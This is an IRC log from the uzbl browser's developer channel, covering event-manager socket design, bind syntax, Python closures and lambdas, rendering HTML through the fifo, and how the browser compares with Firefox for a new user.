11:48 < mason-l> rob|, Thats one as well.
11:49 < mason-l> I'm just double-checking its not a problem on my end.
11:49 < rob|> ok
11:49 < Dieterbe> hmz.. there are people who move windows while holding a modkey?
11:49 < mason-l> Dieterbe, Any non-tiling window manager users do.
11:50 < Dieterbe> that's odd
11:50 < rob|> mason-l: i _presume_ that might be happening because the WM catches that keypress/release so it won't get down to uzbl
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11:53 < mason-l> rob|, Ok the remaining issue is that all startup event messages are lost when using socket communication (thus no bind events are raised from the config).
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11:54 < rob|> right, i'm aware of that one. you suggested to use a timeout to work around this, though i'm not sure wether this is the best option
11:55 < Hyperion2010> Dieterbe: I only move windows with alt held down ;)
11:56 < mason-l> rob|, Well regardless its a critical issue (in the event-messages branch).
11:56 < mason-l> I'm going to push my changes anywya
11:56 < mason-l> 'anyway
12:00 < rob|> ok, so anyone an idea on how to solve this issue? (preferably without introducing timeouts)
12:01 < rob|> hmm
12:04 < rob|> mason-l: if we would use custom vars and not custom events it would be easy, we'd just need to call dump_config_as_events() after the socket has been created
12:04 < rob|> ^^ for binds, that is
12:05 < rob|> well, no that wouldn't help either. nvm
12:05 < mason-l> But you would still miss the FIFO_SET, SOCKET_SET and LOAD_START events raised on startup.
12:05 < rob|> yeah
12:05 < rob|> pragmatic solution: make the socket mandatory ;)
12:06 < mason-l> You said it not me!
12:06 < ruskie> hmm will there be one event manager for all instances or one per instance? how about uzbl_tabbed?
12:06 < mason-l> ruskie, uzbl_tabbed.py will need a little re-work in this branch.
12:07 < rob|> ruskie: both solutions are possible
12:07 < mason-l> but the goal is one event_manager.py for all uzbl instances.
12:07 < ruskie> mmm
12:07 < ruskie> so will sessions also be managed through the event manager?
12:08 < ruskie> or would we need a session manager for that?
12:08 < ruskie> this would be nice in a way of: crap the browser crashed but everything is still in the daemon ;)
12:08 < mason-l> ruskie, Still be managed through uzbl_tabbed.py
12:08 < ruskie> mason-l, I meant site sessions
12:08 < ruskie> not browsing sessions
12:08 < ruskie> other than maybe what urls were open and so on
12:11 < ruskie> hmm maybe I was thinking wrongly
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12:23 < opqdonut> how far is the current experimental from the master?
12:24 < rob|> git diff?
12:25 < opqdonut> in terms of features
12:25 < opqdonut> yes, i could look at the logs but a dev will probably have a better understanding
12:27 < opqdonut> ok, at least the last merge from experimental into master wasn't that long ago
12:27 < ruskie> yet it can be a huge difference in features ;)
12:27 < opqdonut> of course
12:28 < opqdonut> can i get a gitk-like commit tree out of github?
12:28 < ruskie> clone it then you can
12:28 < opqdonut> ah yes, i have the source checked out
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13:03 < mason-l> What do people prefer: "<Ctrl>+q" or "<Ctrl>q"?
13:03 < ruskie> hmm
13:04 < ruskie> for the configuration?
13:04 < mason-l> More examples: "<Ctrl><Space>+a" v.s. "<Ctrl><Space>a"
13:04 < mason-l> Just the bind plugin format.
13:04 < ruskie> would the + exclude using + as a char?
13:04 < Dieterbe> option 2
13:04 < ruskie> I'm for <ctrl><space>a
13:04 < mason-l> ok.
13:05 < Dieterbe> but then how do you separate between pressing multiple keys and pressing keys one after each other?
13:05 < mason-l> I'm making it clear: there is no ability to 'gh<Alt>'
13:06 < ruskie> gh<alt> ?
13:06 < mason-l> pressing g then h then alt
13:06 < ruskie> ahh
13:06 < ruskie> as long as something like: <ctrl> <alt> i will be possible ;)
13:07 < mason-l> Yeah
13:07 < Dieterbe> so you're saying: if a 'special' key appears in the string, you assume all keys are pressed at the same time?
13:07 < mason-l> Dieterbe, No.
13:07 < mason-l> I've got it all explained out in the docstring.
13:07 < Dieterbe> opqdonut: not far.  i'll do a new release this weekend
13:13 < opqdonut> ok, sweet
13:13 < opqdonut> will this event stuff be in?
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13:15 < Dieterbe> no
13:17 < rob|> Dieterbe: be sure to clean up uzbl-core before pushing to experimental. we can get rid of all the keycmd can stuff and probably more
13:18 < Dieterbe> i don't see what matters. i mean event-messages is not done yet, and it won't be for some time. but it is "the future" so the work in progress should be in experimental
13:18 < Dieterbe> s/what/why that/
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13:43 < mason-l> Dieterbe, The future is now!
13:43 < Dieterbe> the future is a perfectly working event manager system
13:43 < Dieterbe> i don't think now is that :P
13:43 < mason-l> :)
13:44 < mason-l> You'd be surprised (after we sort out that startup event messages problem)
13:46 < mason-l> I've just pushed the working bind plugin and changes to the even manager and keycmd plugin.
13:46 < mason-l> So grab them and try them out
13:47 < Dieterbe> the earliest i can is this evening
13:47 < mason-l> rob|, You give them a try then :)
13:48 < Dieterbe> mason-l: are you a student?
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13:48 < Dieterbe> or retired? :P
13:48 < mason-l> Dieterbe, Shift worker :)
13:48 < Dieterbe> ah but still, that's a fulltime job, no?
13:48 < mason-l> I work 2 days on then 2 days off near-abouts.
13:48 < mason-l> Yeah full time job.
13:49 < Dieterbe> well nice, that you find the time to hack on uzbl
13:49 < mason-l> Its good fun :)
14:00 < rob|> mason-l: ok, just pulled from you
14:01 < mason-l> rob|, If you want to add your own bindings for now you need to add them to the add_instance function in bind.py
14:02  * Dieterbe votes simple ini-stile config file for keybinds
14:04 < rob|> mason-l: just did it in uzbl's config:  event bind 'o _ = uri %s'
14:04 < rob|> which seems to work just fine :)
14:07 < rob|> is the ZZ binding hardcoded?
14:07 < mason-l> nope
14:07 < rob|> strange, why does it work then?
14:07 < mason-l> I've put a few example commands in the add_instance function in bind.py
14:07 < rob|> ah, alright...
14:07 < mason-l> rob|, Oh that could also be due to the fact the old bind code hasn't been removed from uzbl-core
14:08 < Dieterbe> if it works with the bind event, then lets remove the hardcoded example commands in the add_instance function in bind.py
14:08 < mason-l> rob|, You must be using it in non-socket mode?
14:08 < rob|> mason-l: yes, via stdout
14:08 < mason-l> For it to work in the uzbl config.
14:09 < mason-l> rob|, Thats why it works for you :P
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14:09 < mason-l> rob|, I've updated the uzbl-browser launcher to launch the event manager and uzbl talking with sockets.
14:09 < QQueue> HI, just wondering why gtk is a dependency. Why not build this right on X?
14:10 < Dieterbe> QQueue: rtffaq
14:10 < rob|> i see, you put quite some pressure on us (me;) with this great work to get the socket stuff working correctly :)
14:10 < QQueue> oh, sorry
14:10 < mason-l> rob|, Sorry buddy ;)
14:10 < rob|> hehe
14:10 < Dieterbe> mason-l: no need to apologize :P
14:11  * Dieterbe whips rob| .. ktsch!
14:12 < rob|> Dieterbe: did i deserve that?
14:13 < Dieterbe> this is more a stimulating whip ;)
14:14 < rob|> i need other things for stimulations, whips just don't work ;)
14:14 < Dieterbe> the thing about whips is. if they don't work, it just means you're not doing enough of them
14:15 < rob|> anyways, what do you think about making the socket mandatory? everything else seems to be just a hack
14:15 < rob|> or maybe someone has a better idea?!
14:16 < rob|> but even then there are a couple of issues
14:16 < Dieterbe> why did we need the socket again? i know you had "some problems" with fifo's but maybe that's an issue we could resolve
14:17 < rob|> i like the socket approach as it can be used for full duplex communication
14:18 < mason-l> Dieterbe, Speed, two way communication, less fd's open, less kernel calls and numerous stdout hanging problems.
14:18 < dgym> I agree, sockets are the better option, and we have socat if we need to talk to them from non-socket-handling programs
14:19 < mason-l> dgym, Exactly, and socat works extremely well with SOCK_STREAM sockets.
14:19 < rob|> mason-l: btw, what do you think about using as a modifier, too but only for non ptintable keys. (i.e. keynames with more than one character)
14:19 < Dieterbe> rob|: well it would be pretty cool if we could treat the event manager just like the cookie daemon. (set event_manager = talk_to_socket foo)
14:19 < rob|> mason-l: ^^Shift
14:20 < rob|> Dieterbe: no need for that the EM uses uzbl's "default" socket
14:20 < mason-l> rob|, Yeah theres nothing stopping us from doing that.
14:21 < QQueue> I guess I'll live with gtk. I had hoped not to, but what can I do about it without actually doing some kind of work
14:21 < Dieterbe> rob|: oh it does? that works? then we could do it also for the cookie daemon in principle?
14:21 < rob|> well, yes and no
14:21 < Dieterbe> QQueue: nothing
14:21 < mason-l> Dieterbe, Not really because the event messages are async.
14:21 < rob|> the cookie daemon uses a SOCK_SEQPACKET
14:22 < mason-l> And that ^
14:23 < Dieterbe> suprise! i don't know the difference :o
14:24 < rob|> still, couldn't we just use timeouts with our SOCK_STREAM for cookie messages? like -> COOKIE event -> uzbl waits X microseconds for a cookie answer -> if received process with that -> else use webkit's internal cookies
14:24 < mason-l> Dieterbe, SOCK_STREAM: send("msg1") + send("msg2") -> recv("msg1msg2") while SOCK_SEQPACKET: send("msg1") + send("msg2") -> recv("msg1") & recv("msg2")
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14:25 < mason-l> rob|, Theres no reason why we cant implement a cookie handler as a plugin.
14:25 < mason-l> As long as uzbl-core is able to receive them.
14:26 < rob|> yeah, that's my point
14:26 < mason-l> Afaik you aren't allowed newlines in cookie data so I see no problems with using the sockets the way we are currently.
14:26 < rob|> well, first of all we need to figure a way to deal with the current socket issues
14:27 < mason-l> rob|, Just another thought on the cookie handling, add a unique id to each cookie request to make it easier to match up responses.
14:27 < rob|> another thing, with the socket we can't spawn the writer (uzbl) and the reader (socat, EM) at the same time
14:28 < rob|> so there is always a change that messages get lost
14:28 < ruskie> hmm is there an event trigrred for hitting an input box?
14:28 < mason-l> rob|, But socat isn't used in the launcher?
14:28 < ruskie> which would be nice to launch an external editor
14:29 < rob|> ruskie: we might be able to do something like that with some internal JS
14:29 < ruskie> btw are cookies also events?
14:29 < rob|> or even with a JS that generates custom events...
14:29 < rob|> ruskie: not yet
14:29 < ruskie> ahh
14:30 < rob|> like js .... Uzbl.run("event INPUT_BOX 'foo bar'"); ...
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14:32 < rob|> mason-l: true, socat isn't used there, though there is still some delay between the spawing of uzbl and the EM
14:32 < rob|> so there is a potential risk of message loss
14:32 < ruskie> hmm why not spawn EM first?
14:32 < mason-l> rob|, But isn't there a uzbl.state.isconnectable somewhere?
14:33 < ruskie> though I guess it will be possible to run EM like the cookie daemon then just connect instances to it
14:34 < rob|> mason-l: not that i'm aware of
14:35 < mason-l> I mean uzbl.comm.clientchan->is_writeable
14:35 < mason-l> Doesn't that let you know there is a client attached?
14:35 < mason-l> Or is that something else.
14:35 < rob|> i don't think so
14:37 < mason-l> In that case you should set a flag when a client connects!
14:37 < mason-l> And don't print the event messages until: SOCKET_SET & uzbl.comm.clientchan->client_connected or something.
14:38 < rob|> yeah, need to look closer at this
14:38 < rob|> any help appreciated, though
14:40 < mason-l> rob|, Did DuClare write that?
14:40 < Dieterbe> is this about the cookies or smth else?
14:41 < mason-l> Dieterbe, Event messages
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14:41 < Dieterbe> k carry on then ;)
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14:56 < rob|> mason-l: yeah, iirc that's duc's code
14:56 < ksh> hy, just to prevent the devs that ETIMEDOUT isn't definited on FreeBSD pthread.h (I dont know why)
14:57 < rob|> hmm, afaik we don't use that anywhere
14:57 < rob|> soryy, nv,
14:57 < rob|> nvm
14:58 < rob|> typo while grepping
14:59 < rob|> hmm, it's used in talk_to_socket()
14:59 < rob|> one more good reason to a have an EM cookie plugin ;)
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15:01 < dgym> I'm just messing around with a json-rpc socket
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15:03 < dgym> the protocol can handle bi-directional method calls, and async responses
15:05 < rob|> that only work over tcp sockets, right?
15:05 < rob|> *works
15:05 < dgym> so it would do for events and cookie handling, as long as the other side can handle json
15:05 < dgym> no, I'm doing it over a unix socket
15:06 < dgym> oh, the json-rpc site heavily implies that all json-rpc is sent over HTTP, but it is quite natural to forgoe the HTTP part and just use a socket
15:07 < dgym> line delimiting works fine too, so it isn't completely human hostile
15:10 < dgym> e.g.:  echo '{"method":"set","params":{"uri","homepage.com"},"id":0}' | socat - unix:/tmp/uzbl_json_socet_12345
15:12 < dgym> ok, there are a couple of errors in that example.
15:13 < dgym> on the down side it is quite verbose, but on the plus side it can be easily used by existing json-rpc libraries
15:21 < rob|> well, that's true. but from the view point of a simple (shell based) parser "EVENT FOO [12345] bar baz" is definitly more friendly
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15:23 < rob|> anyways, you can use uzbl's print command to output events in any format you like
15:24 < rob|> so you could encode your events the json way and just Uzbl.run("print" + ...) them
15:24 < dgym> Absolutely. I think most shell script interactions will continue to pass data via the command line arguments.
15:25 < dgym> I'm just thinking that complex event managers are likely to be written as higher level language scripts
15:25 < dgym> just as cookie_daemon.py is
15:26 < rob|> not necessarily. thinking about event managers that react on single, specific events like LINK_HOVER
15:26 < rob|> those would require like 2 lines of shell, sed, whatever to handle our simple messages
15:27 < dgym> yes, exactly, so you configure uzbl to run that shell command on that event
15:28 < dgym> but when you want to plug in an external event manager that does a whole lot more, and is a daemon, that is when you switch to talking json-rpc over sockets
15:28 < rob|> no, uzbls just prints out the event messages you don't tell it to react in any way to events
15:29 < rob|> what you are talking about is the job of the EM
15:30 < rob|> i.e. the idea is to get rid of all  "set foo_handler = ..." stuff
15:30 < dgym> how many EMs are there? 1 or many?
15:30 < rob|> as many as you want
15:31 < rob|> they attach to a fifo and/or socket and react in any way to events
15:35 < dgym> are events just messages, or can they be interrupted?
15:36 < dgym> or discarded, I should say
15:43 < rob|> discraded by what?
15:44 < dgym> by an EM, if it wanted to block a click for example
15:44 < rob|> well anyways, events are just "informative" messages which you can react upon or just ignore
15:44 < dgym> ok, that answeres the question, thanks
15:44 < rob|> uzbl will not perform any default action other than printing out the event message
15:45 < rob|> so if you want to interrupt/ignore a specific event just do nothing ;)
15:46 < dgym> right, so if someone tries to open a new window, there will be a new window event, and it is up to the EM(s) to decide how to do that
15:46 < Dieterbe> yes
15:46 < rob|> in this specific case the answer must be no (as of now)
15:47 < rob|> but we should get rid of the default of opening the window
15:47 < rob|> dgym: there is still a lot of the "default" code floating around, so we really need to clean up things
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16:07 < Dr-Horrible> I have a line in my config to mimick the O behaviour of vimperator but it stopped working, can you spot the problem
16:07 < Dr-Horrible> echo keycmd o $6 > $4
16:07 < Dr-Horrible> full line is bind O = sh 'echo keycmd o $6 > $4'
16:13 < bct> do you know if anything is printed to the console?
16:14 < bct> my guess is a stale fifo, the solution to that is: shut down uzbl, rm /tmp/uzbl* and start it again
16:14 < Dr-Horrible> $4, ambigous redirect
16:14 < bct> yup.
16:15 < Dr-Horrible> thanks bct
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16:40 < rob|> a second of reflection can take you to the moon, the slightest hesitation can bring you down in flames ... *sing* .... man, i love this song
16:45 < devon> mason-l did you get a chance to look at my patches from last night
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16:48 < mason-l> devon, Yes I did.
16:49 < devon> does where I'm going with that make sense
16:49 < mason-l> I'm sure theres a much better way of doing that though.
16:50 < mason-l> Without writing a class for each.
16:50 < devon> so I considered closures
16:50 < devon> but wasn't sure if that would be considered too obtuse
16:50 < mason-l> Closures?
16:51 < devon> so in python, functions are things you can pass around.  You can also pass them around with preset data
16:52 < devon> the hash doesn't need to contain objects, it can just contain a set of functions, mapped by the name
16:52 < devon> but some of those functions are really just the same call over and over to underlying other functions with different data
16:53 < mason-l> I'm a practical man, do you have a code snipped of a closure?
16:53 < devon> sure, gimme a sec
16:53 < mason-l> s/snipped/snippet/
16:53 < mason-l> Thanks :)
16:53 < devon> np
16:54 < devon> btw, the one other reason I did choose a class is that it let it be self documenting, but there's probably a way to maintain that with functions
16:56 < devon> the idea being that if people are adding other commands, it would be nice to be able to know what the present fifo api is
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17:01 < rob|> so, baseball world championships in my hometown - need to run and watch the yankees get the shit beaten out of them :)
17:01 < rob|> cu you guys later
17:02 < mason-l> Catcha rob|
17:02 < mason-l> I'll see you again tomorrow night.
17:04 < rob|> yeah, have fun. they lost 13:9 against venezuela yesterday, this might be fun :)
17:04 < rob|> bye
17:04 < devon> mason-l : http://pastebin.com/m2b947f69
17:06 < mason-l> devon, Are you forgetting a "return fn" on line 5?
17:06 < devon> yes
17:06 < mason-l> :)
17:06 < devon> make sense?
17:06 < mason-l> I understand what you mean by closures now.
17:06 < devon> closures solve the problem with way less code
17:07 < devon> but the problem is, it's not a super common programming construct
17:07 < bct> it's not that uncommon in python.
17:08 < mason-l> devon, I do it unknowingly all the time (I didn't know it was called a closure though).
17:08 < devon> gotcha
17:08 < devon> the devs I work with get a blank look on their faces wen I show them thsi stuff
17:08 < devon> do I didn't want to be obtuse
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17:13 < bct> my impression is that your average foss developer is much more comfortable with unusual programming constructs than your average professional developer.
17:14 < devon> yeah, but it takes time to know who you are working with
17:15 < devon> I would rather start off verbose and very explicit, and then move towards more terse as I get more comfortable with the people
17:15 < bct> oh yeah, definitely agreed.
17:19 < dgym> I think even java has closures these days, although most people will use them without knowing what they are called
17:22 < dgym> of course lisp, python, javascript and any other cool language has them too
17:23 < dgym> and C has them, but with the graceless syntax of function pointer and void* data variable
17:23 < dgym> as ugly but practicle as ever
17:24 < bct> having to use a globally defined function for them in C is pretty annoying though
17:25 < bct> even having to give your locally-defined function a name in python is pretty annoying
17:25 < bct> <3 anonymous functions
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17:36 < dgym> lambda
17:36 < dgym> you know you want it
17:37 < bct> why guido, why can't we have a decent lambda? :'(
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17:43 < mason-l> bct, Whats wrong with lambda? (frame of reference: I haven't use any other lambda's)
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17:43 < bct> it's crippled
17:44 < bct> why limit it to only one line?
17:44 < mason-l> And you would prefer to use a multi-line lambda over a function because?
17:45 < bct> in other languages a lambda *is* a function
17:45 < bct> the only differenec is that you don't have to name it.
17:46 < bct> (and you can usually define it at the place that you use it, i find that having to define it before you use it (like in python) breaks the flow of the code)
17:47 < mason-l> So to use it in-place you're suggesting something like a = (lambda a b: a+b)(a, b)
17:52 < bct> nah, more like
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17:53 < bct> [1,2,3].map(lambda(x):
17:53 < bct>   ...some long thing that deals with x...
17:53 < bct> that syntax wouldn't work well with python, there have been lots of other proposals that would.
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17:54 < mason-l> bct, For a second there I thought lists had a map function I didn't know about!
17:54 < bct> sadly no :(
17:54 < mason-l> I even opened the pydoc on lists
17:55 < bct> there is a map function that's not a method of list for who knows what reason
17:57 < bct> after doing a bit more research it looks like there are implementation problems preventing multi-line lambdas in python.
17:57 < bct> so i can't complain too hard. for some reason i had thought that they were rejected for philosophical reasons.
17:58 < mason-l> And all is well.
17:58 < mason-l> Night guys
17:58 < dgym> no, it is just because the syntax doesn't have enough paranthesis
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18:15 < scj> lambdas do suck in python
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18:19 < dreadlorde> is there a reason that examples/data is in .gitignore?
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18:26 < scj> dgym: function pointers != closures
18:28 < dgym> function pointer and void * user data == closures
18:28 < scj> a closure "refer to a lambda expression whose open bindings (free variables) have been closed by (or bound in) the lexical environment, resulting in a closed expression, or closure."
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18:29 < dgym> the function pointer by itself is not enough
18:30 < dgym> but with a void * data parameter for the function to use.. you can put all your environment stuff in there
18:30 < dgym> it just happens to be extremely explicit, and hence very ugly.
18:41 < devon> damn, mason-l is gone
18:42 < ruskie> lol
18:42 < ruskie> he'll get your message :)
18:42 < devon> mason-l I recomitted using function references and closures, lemme know if you like the solution better
18:47 < devon> is there a uzbl fifo command to render a document passed in on the fifo?
18:48 < devon> as in the text, not the uri
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18:59 < devon> ok, different question then, I don't seem to be able to find documentation on what the uzbl fifo can take as commands
18:59 < devon> can anyone point me to that?
19:03 < devon> ok, apparently I'm retarded, it's in the readme
19:07 < ruskie> :)
19:08 < devon> so maybe anyone here will have an idea here
19:08 < devon> I want use uzbl's as part of my UI
19:08 < devon> which means I need to render html into them
19:09 < devon> but I don't want to have to leave a bunch of html files lying around
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19:10 < devon> I suppose I could run an http server on localhost somewhere to serve the data.  I just would really prefer to avoid having to run a persistent process
19:12 < ruskie> erm
19:12 < ruskie> you mean you want to render a html file?
19:12 < devon> no
19:12 < devon> I want to run a program that emits html to stdout
19:13 < devon> and render that
19:13 < ruskie> it's possible
19:13 < ruskie> through uzbl html mode iirc
19:13 < devon> without ever having to leave it in a file
19:13 < ruskie> set uri = data:text/html,<your html here>
19:13 < ruskie> use that
19:13 < ruskie> so basically need to add: data:text/html,
19:13 < ruskie> infront
19:13 < ruskie> along with the uri setting :)
19:14 < devon> ok, and the html needs to avoid having any newlines in it, right
19:14 < ruskie> don't think so
19:14 < ruskie> but could be wrong
19:15 < ruskie> since you should be able to just cat a file into it as well iirc
19:15 < Dieterbe> http://pastebin.com/m2b947f69 o_O
19:15 < Dieterbe> note: me = python noob
19:16 < devon> Dieterbe fn_goto_tab should have a return fn at the end
19:17 < devon> but the upshot is that it returns a function that when called, calls goto_tab with the value passed in to fn_goto_tab
19:17 < devon> so you can keep that function around and call it later
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19:18 < devon> what this is doing is eliminating the big if/elsif chain that is processing commands in uzbl_tabbed.py
19:18 < bct> on closures: http://www.kimbly.com/blog/000063.html
19:18 < bct> :)
19:18 < devon> and instead letting the commands be dynamic
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19:19 < devon> so that I can extend it with another program without having to bloat the original
19:20 < devon> ruskie, the docs for the command syntax states that commands must be on one line
19:20 < devon> "Each command starts with the name of the command, which must be the first thing on a line; preceding whitespace is not allowed. A command is terminated by a newline. Empty lines and lines that start with the hash sign are ignored by the parser. Command names are always written in lowercase."
19:22 < scj> base64 encode the html
19:22 < bct> i suppose you could go to file:///tmp/some_fifo
19:22 < bct> and just pipe your documents to it.
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19:24 < devon> bct that could work
19:30 < devon> it doesn't work tho
19:33 < dgym> what is wrong with sed -e s/\n/ /g on your html?
19:33 < devon> actually, that's my present plan
19:33 < scj> it would mess up <pre> blocks
19:33 < dgym> apart from it breaking pre blocks, and inputs....
19:34 < devon> but it would be nice to be able to have a template that doesn't get munged
19:34 < dgym> hmmn, my json_socket can pass in strings without breaking them
19:35 < dgym> I currently use it to export documents, e.g. document.documentElement.innerHTML
19:36 < dgym> but the chances of this interface making it into the mainline are about 0.037%
19:36 < scj> why not just use the regular socket?
19:37 < devon> the regular socket still had the newline restriction, does it not?
19:37 < scj> not for output
19:38 < devon> my understanding is that the socket is basically the same thing as the fifo
19:38 < dgym> the regular socket has ill defined formating, hence no method for passing in strings with newlines
19:38 < devon> (with respect to how it processes commands)
19:38 < scj> the new-line restriction was due to uzblctrl, which has been deprecated in favor of socat
19:38 < devon> ok
19:38 < devon> but it's still there, no?
19:38 < scj> http://www.uzbl.org/wiki/scripts-faq
19:39 < devon> ok, I'll try that
19:40 < scj> also, have you looked at uzblcat for sending html to uzbl? http://www.uzbl.org/wiki/html-mode
19:40 < dgym> yup, fine for output, well, unless you want to run multiple commands that is, because you don't know where the output finishes
19:40 < scj> you can base64 encode the html to circumvent the newline restriction
19:42 < dgym> the current way things work is really great for scripts. however, a lot of people are going to want to use uzbl as a library
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19:42 < dgym> in which ase it might be best to create libuzbl, or create a well defined RPC interface to it
19:42 < dgym> I'm just toying with the RPC stuff
19:43 < dgym> but it isn't a silver bullet
19:44 < devon> dgym so to me, the script thing is more in the spirit of a 'browser that adheres to the unix philosophy'
19:44 < dgym> for example, uzble_tabbed.py is basically using uzbl as a library, only the interface is messy
19:45 < devon> keeping each thing it's own process has a lot of benefits
19:45 < devon> instead of pulling the uzbl into your process
19:45 < dgym> I'm inclined to agree devon, but that doesn't mean people won't find using uzbl as a library very useful
19:46 < dgym> I think uzbl_tabbed.py clearly uses it as a library, albeit it one in a different process
19:46 < dgym> which is exactly what an RPC mechanism would aid with
19:46 < devon> well, it's talking to uzbl over a defined, text based protocol
19:46 < dgym> ill-defined text based protocol
19:47 < dgym> I'm just giving it the option of using a very well defined text based protocol
19:47 < devon> the ill defined part is neither here nor there with respect to the architectural question
19:47 < devon> I'm not actually arguing against or for that other protocol
19:48 < devon> more that using uzbl as libuzbl would be less unixy then doing the communication over pipes and sockets
19:48 < scj> the protocol isn't exactly set in stone, mostly because we don't really know what to do with it, more or importantly, what people want to do with it
19:49 < dgym> well I agree, that is why I'm playing with json-rpc and not with libuzbl
19:49 < dgym> I think the current protocol works well enough for scripts, but there are use cases that go far beyond scripts
19:49 < devon> fair enough ;)
19:50 < dgym> we have both bash and python for a reason after all, I wouldn't want anyone take take away either
19:50 < devon> the protocol itsoulf could be jsuta bout anything and still be unixy, so long as it's text based
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19:51 < dgym> well so far I have a new socket, and that talks json-rpc
19:51 < dgym> there are command line tools for handling json, such as jsawk, but they aren't that common
19:52 < dgym> so this clearly isn't a replacement for the current handling
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19:52 < dgym> but it does bother me having yet another socket
19:52 < scj> dgym: why not just add a new command instead?
19:53 < dgym> I'm wondering if having a command "switch_to_json\n" on the current socket would be a horrible hack, or a nice solution
19:53 < devon> I'm gonna vote hack
19:53 < devon> that means that the socket becomes modal
19:53 < devon> which will screw anything still talking in the other mode
19:54 < scj> we did have a html-mode, but it was deprecated
19:54 < devon> I would say that instead of modes, it's better to have multiple sockets, 1 for each 'mode'
19:55 < dgym> multiple sockets has benefits for the script writers too, much easier to work with socat that way
19:55 < devon> just curious, how many people here were pre-slashdot article?
19:56 < dgym> not me
19:56 < devon> that's how I found the project
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19:58 < Dr-Horrible> account on
19:59 < bct> ah, didn't know uzbl hit slashdot.
19:59 < scj> why not a payload counter instead of modal sockets? you'd send 'json 128 {128 byte long json document}'
19:59 < devon> http://rss.slashdot.org/~r/Slashdot/slashdot/~3/sShXjVf_zSY/Meet-UZBL-mdash-a-Web-Browser-With-the-Unix-Philosophy
19:59 < dgym> you didn't notice the sudden rush of newbs?
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19:59 < bct> i haven't really been paying attention
20:00 < dgym> scj, you could add a json command, no problem, al newlines are escaped
20:00 < dgym> however, I'm thinking about receiving events
20:01 < dgym> will the events use the same socket, and if so are they sent by default or do you have to subscribe to them?
20:01 < bct> !top
20:01 < bct> do we still have that bot that tracks how many people are in the channel?
20:02 < scj> apparently not
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20:36 < bct> ugh, the comments on that slashdot article are so stupid.
20:37 < bct> slashdot is the worst tech news site (except for all the others)
20:37 < ruskie> rofl
20:37  * ruskie prefers el-reg
20:37 < ruskie> and linuxfordevices when I feel like taking a look at that bit
20:41 < devon> the comments on /. aren't generally worth reading
20:41 < devon> the article feed is reasonable
20:42 < bct> yeah, but the articles are so short that i can hardly procrastinate at all by reading them.
20:42 < devon> heh
20:42 < devon> really it's the links
20:42 < bct> and i get a certain masochistic pleasure out of watching people talk very angrily about things they know nothing about.
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20:47 < devon> so what was the best dumb comment about uzbl?
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20:47 < bct> "The worst thing the developers did (besides the name) was create a "steep learning curve" for the common web browser."
20:48 < devon> meh, the software isn't *for* them
20:48 < bct> then there's the one comparing cli vs. gui to communism vs. capitalism.
20:48 < devon> wow
20:48 < devon> now that's awesome
20:48 < evert> i'm having some 'more general' uzbl questions, is that allowed? :)
20:49 < devon> evert, I can't speak for everyone, but I'll be happy ton answer questions if I know the anser
20:49 < bct> evert, of course
20:49 < devon> wow, spelling fail ;)
20:49 < bct> and the comment saying that browsers have to be monolithic because otherwise how will you clear your browser history and your cache at the same time?
20:49 < evert> currently i'm using firefox (3.5.x) with 'vimperator' with as window manager 'awesome'
20:50 < devon> evert then you came to the right place ;)
20:50 < evert> for some reason i think uzbl might be 'the' browser for me :)
20:50 < bct> and the one saying that dieter should have just added the features he wanted to firefox.
20:51 < evert> how is it comparing to firefox?
20:51 < evert> i mean, in terms of speed, rendering, ram usage, etc :)
20:51 < ruskie> if you just use one instance I think it doesn't gooble up to much ram
20:51 < ruskie> but with multiple I think it loves ram a bit to much
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20:52 < bct> the ram usage doesn't grow like firefox's, though.
20:52 < evert> hmm, currently with firefox i kinda 'love' to have too many tabs open at once, most of the time about 10+
20:52 < bct> you can close a few tabs and get it back.
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20:52 < ruskie> bct, true
20:52 < ruskie> but having 10 tabs open for a longer period tends to chip away at ram constantly(atleast it happens to me)
20:53 < bct> really? i don't think i get that.
20:53 < sitwon> evert: personally I don't think Uzbl is ready to replace Firefox just yet. The speed and memory usage are fine, and the rendering is OK, but there are some pages that it behaves oddly with and other where it just won't work
20:53 < bct> sitwon, examples?
20:53 < ruskie> also client side certs aren't there yet :)
20:54 < ruskie> so atleast for such sites one needs firecrud
20:54 < bct> people actually use client-side certs?
20:54 < sitwon> bct: look at the bug tracker. Gmail for one
20:54 < bct> yeah, i'm aware of gmail.
20:54 < evert> hehe, would be a good moment to finally trash gmail as well :D
20:54 < evert> too bad it's such a hassle to fix your own mailserver :)
20:54 < sitwon> bct: my college's distance learning website is another
20:54 < devon> everty, I have 22 uzbls running right now, and it's using 235 megs of ram
20:54 < ruskie> bct, yeah... I have two sites that require them... my banking site and my cellco's user page where I can pay bills, change settings etc...
20:55 < ruskie> evert, hmm not much of a hassle
20:55 < devon> given that I generally use that or more tabes in ff, I would say that the mem usage is a little lower
20:55 < sitwon> there is a reproducable crash on Wikipedia
20:55 < bct> evert, it really depends what sites you use.
20:55 < devon> but it;s also much easier to cull uzbls and get all the memory back
20:55 < evert> devon: ok, but are there any sites with 'heavy' content like flash etc? :)
20:55 < bct> i start up firefox maybe once a week.
20:56 < sitwon> evert: Uzbl works as well as Firefox with Flashy websites
20:56 < devon> evert: yes, 3-4 of those sites are using flash
20:56 < bct> ruskie, wow. i don't think my cell phone company even uses server-side ssl.
20:56 < evert> and are there things like the firefox addons 'noscript'/'flashblock'/'adblock' ?
20:56 < sitwon> I think it's really the JavaScript where Uzbl still needs some work (or maybe Webkit actually, but it's more obvious in Uzbl)
20:56 < devon> and those are all the highest on the memory usage
20:57 < ruskie> bct, well they offer password or server side cert auth
20:57 < devon> my worst tab is at 20 meg
20:57 < ruskie> there's also cacert that supports client side certs for apps
20:57 < devon> my best is 8.2 meg
20:57 < sitwon> evert: not yet, but you can use something like privoxy to block a lot of ad servers
20:57  * ruskie goes to check his bank stuff... payday was today
20:58 < evert> hmm, too bad, just opening some test site to quickly see what uzbl is doing with some site and i just got scared by the amount of ads/evil things :p
20:58 < devon> you can use privoxy to get around that
20:59 < ruskie> I use a dns bl for adblocking
20:59 < ruskie> works wonders with most ads on the sites I go to
20:59 < devon> also, it's *way* easier to extend uzbl then any other web browser I've worked with
20:59 < sitwon> evert: Uzbl is a _very_ young browser, by the time they have a beta release there will probably be noscript/adblock replacements available
20:59 < evert> ok
21:00 < evert> it's especially flashblock/noscript i'd love to see :p
21:00 < devon> this is all very much alpha
21:00 < evert> browsing without feels like i'm living with a handicap :(
21:01  * ruskie doesn't use flash at all
21:01 < ruskie> youtube vids are easy to get playing with it :)
21:02 < bct> who needs flashblock when you have a 64 bit linux system?
21:02 < evert> bct: i do?
21:02 < bct> (or did adobe finally release a 64 bit plugin?)
